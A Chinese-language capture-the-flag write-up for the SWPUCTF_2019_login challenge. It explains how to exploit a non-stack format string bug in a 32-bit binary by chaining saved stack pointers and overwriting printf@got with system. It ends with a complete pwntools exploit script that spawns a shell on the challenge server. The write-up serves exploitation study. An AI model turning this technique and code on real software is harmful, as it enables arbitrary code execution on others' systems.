BUU-SWPUCTF_2019_login

BUU-SWPUCTF_2019_login

说明:这里不再赘述基本的格式化字符串漏洞

  1. 考点:非栈上格式化字符串漏洞
  2. 具体原理:由于不在栈上,所以我们可控数据没法写到栈上,也就没有办法变成printf的某个参数

基本流程

检查保护,没pie,got可被修改

image-20211220202648054

IDA查看程序,存在格式化字符串漏洞

image-20211220202707785

思路

思路:由于不存在栈溢出,且没有给libc,那么我们的思路就有限了,修改printf的got

问题分析

首先这是一道32位的非栈上格式化字符串漏洞,那么与普通格式化字符串漏洞相比较有什么区别呢?

  • 首先栈信息泄露是相同的,但是找偏移的话较为不方便,因为你写的格式化字符串不在栈上了

    此时我们可以利用pwngdb的工具(注意pwndbg与pwngdb是两个工具,可以共用)

    fmtarg + 泄露地址(最好执行到格式化字符串漏洞处)

    如:此时我要泄露栈地址,可以泄露ebp存的上个栈的ebp

    image-20211220205024391

    由图可以看出,他指出格式化字符串为%5$p,但是实际泄露用%6$p,如果题目是正常栈对齐了的话,那么偏移应该是固定+1,实际操作可以多尝试

  • 但是栈内容修改内容却有很大差异

    • 差异原因:没有办法将要修改的地址写到栈上,所以不能将要篡改的地址作为格式化字符串漏洞中printf的参数,进而没法使用%n来篡改

    • 新点get:

      %6$n中的n的效果:

      之前一直没有认真思考过n这个字符的作用,这里仔细说明下:

      与%s对应,%s为打印地址内容,%n为往地址内写,有一级取内容效果(若为%s/%n,那么后边对应的是字符串地址,打印的是对应地址的内容)

      image-20211220213723514

    • 所以我们要以较为特殊的方法来进行任意地址写

      就以本题为例,首先我们没法往栈写任何内容,只能利用栈已有内容

      条件

      • 寻找一个指向栈的一个指针(一般在ebp指向处)
      • 栈中找两个高2字节(一个数据单元高半部分)与got的高2字节相同,因为我们一次仅能修改2字节

      利用

      若已存在如下图情况,且ebp处为格式化字符串偏移为6处

      image-20211221215746061

      修改0xffbc0cd8内容为0xffbc0d4(利用%6$hn,只需修改低4字节)

      image-20211221220057855

      同理修改0xffbc0cd4内容为printf@got(%10$hn

      image-20211221220455327

      此时若我们利用%9$n就能直接修改到printf@got的内容,这就是基本的非栈上格式化字符串漏洞思想,但是情况特殊,由于一次只能修改2个字节(多了不行,具体原因不知),但是system的高四位与printf的高四位不同,一次操作无法完成修改

      image-20211221220919555

      且由于printf的got改变后不再指向printf,所以任意修改之后不能再利用格式化字符串漏洞

      那么必须同时修改高低两字节,所以我们要将printf@got分成两部分

      修改原理同步骤1,2,只不过修改成printf@got+2

      image-20211221221807136

      这样边可以达到同时修改printf@got的高低两字节的效果(%9$n&%11$n)

参考exp

from pwn import *
from LibcSearcher import *
io=remote("node4.buuoj.cn",26929)
#io=process("./SWPUCTF_2019_login")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elf=ELF("SWPUCTF_2019_login")
printf_got=elf.got["printf"]

io.sendline(b'Der')
io.recvuntil(b"Please input your password: n")
# gdb.attach(io)
payload=b'bbbb'+b'%6$p'
io.sendline(payload)
io.recvuntil(b'0x')
stack=int(io.recv(8),16)
log.success("stack:"+hex(stack))

payload1=b'%'+str((stack-4)&0xffff).encode()+b'c'+b'%6$hn'
io.recvuntil(b'Try again!')
io.sendline(payload1)

payload2=b'%'+str(printf_got&0xffff).encode()+b'c'+b'%10$hn'
io.recvuntil(b'Try again!')
io.sendline(payload2)

payload2=b'a'*10+b'%9$s'
io.recvuntil(b'Try again!')
io.sendline(payload2)

io.recvuntil(b'a'*10)
printf_addr=u32(io.recv(4))
log.success("printf:"+hex(printf_addr))
libc=LibcSearcher("printf",printf_addr)
libbase=printf_addr-libc.dump("printf")
log.success("libbase:"+hex(libbase))
system_addr=libbase+libc.dump("system")
log.success("system:"+hex(system_addr))

payload1=b'%'+str((stack+4)&0xffff).encode()+b'c'+b'%6$hn'
io.sendline(payload1)

payload2=b'%'+str((printf_got+2)&0xffff).encode()+b'c'+b'%10$hn'
io.recvuntil(b'Try again!')
io.sendline(payload2)
sysl=system_addr&0xffff
sysh=(system_addr&0xffff0000)>>16
payload3=b'%'+str(sysl).encode()+b'c'+b'%9$hn'
payload3+=b'%'+str(sysh-sysl).encode()+b'c'+b'%11$hn'
io.recvuntil(b'Try again!')
io.send(payload3)

io.recvuntil(b'Try again!')
payload4=b'/bin/shx00'
io.sendline(payload4)
io.interactive()

总结

个人写的exp时遇到的问题:

  • 在多次利用格式化字符串漏洞时,read将下次发送的payload也读取到了

    情况1:每次调试运行到这里要么SIGKILL,要么根本没法进入调试

    情况2:明明前面都和打通脚本一样了,到了相同位置任然SIGKILL

    收获:在循环语句调试时,循环内打上断点,continue可以继续执行python脚本控制的流

    原因:个人理解为没有截断read的原因。

    • 情况1:没有正确截断read
    • 情况2:后方仍然有没有截断read的地方存在

    解决方案:如何截断read,利用recvuntil()来截断,普通的recv是不能够截断read的

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>